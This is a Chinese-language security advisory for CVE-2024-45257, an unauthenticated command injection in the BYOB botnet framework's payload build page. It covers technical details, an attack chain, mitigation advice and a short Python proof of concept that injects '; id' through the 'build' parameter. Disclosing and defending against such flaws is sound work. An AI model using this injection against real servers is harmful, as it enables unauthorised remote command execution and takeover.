IPBUF安全漏洞报告
English
CVE-2024-45257 CVSS 7.3 高危

CVE-2024-45257 BYOB命令注入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2024-45257
漏洞类型
命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BYOB (Build Your Own Botnet)

相关标签

命令注入RCEBYOBC2框架远程代码执行无需认证

漏洞概述

BYOB (Build Your Own Botnet) 2.0版本中的payload构建页面存在命令注入漏洞。由于core/generators.py文件中的freeze函数对用户输入的build参数缺乏有效的过滤和验证,导致攻击者可以通过构造恶意参数,在目标服务器上执行任意系统命令。该漏洞无需身份验证即可被利用,且攻击过程不需要用户交互,具有较高的安全风险,可能导致服务器被完全控制。

技术细节

该漏洞的根源位于BYOB项目核心组件core/generators.py的freeze函数中。当BYOB处理来自payload构建页面的请求时,它会接收用户提交的构建参数。在处理过程中,代码直接将用户可控的build参数拼接到系统命令中执行,未经过任何安全过滤或转义。具体而言,攻击者可以利用Shell元字符(如;、|、&等)在参数中注入额外的操作系统命令。由于该接口未设置身份验证机制(PR:N),攻击者无需登录即可向服务器发送特制的HTTP请求。一旦请求被服务器处理,注入的命令将在Web服务器的权限上下文中执行。结合Metasploit已发布的利用模块,攻击者可以自动化地发送恶意Payload,从而在目标系统上建立反向Shell或执行其他恶意操作,造成数据泄露、服务中断或系统被完全接管。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络或公网,识别出运行BYOB 2.0版本的目标服务器及其Web服务端口。
STEP 2
2. 漏洞利用
攻击者向目标服务器的payload构建页面发送特制的HTTP POST请求,在'build'参数中注入恶意Shell命令(如反向Shell连接指令)。
STEP 3
3. 命令执行
服务器端core/generators.py中的freeze函数处理请求时,将恶意参数拼接到系统调用中,导致服务器解析并执行攻击者注入的命令。
STEP 4
4. 权限维持
利用执行成功的命令,攻击者获取服务器Shell权限,进一步上传后门、窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_byob(target_url): """ PoC for CVE-2024-45257: Command Injection in BYOB 2.0 This script sends a malicious payload to the build page. """ # The vulnerable parameter is 'build' # Payload attempts to execute 'id' command via shell injection payload = "; id" # Note: The exact endpoint might vary based on BYOB deployment configuration # Common endpoint is /build or similar endpoint = f"{target_url.rstrip('/')}/build" data = { "build": payload } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the server response or verify command execution.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target IP and Port target = "http://127.0.0.1:5000" exploit_byob(target)

影响范围

BYOB (Build Your Own Botnet) 2.0

防御指南

临时缓解措施
由于BYOB项目主要用于构建僵尸网络,其本身的安全性往往较低。建议立即停止在公网暴露相关服务,或通过Web应用防火墙(WAF)规则拦截包含特定Shell元字符(如;、|、&、`、$)的请求参数。开发者应修复freeze函数中的输入验证缺陷,避免直接将用户输入传递给Shell解释器。

参考链接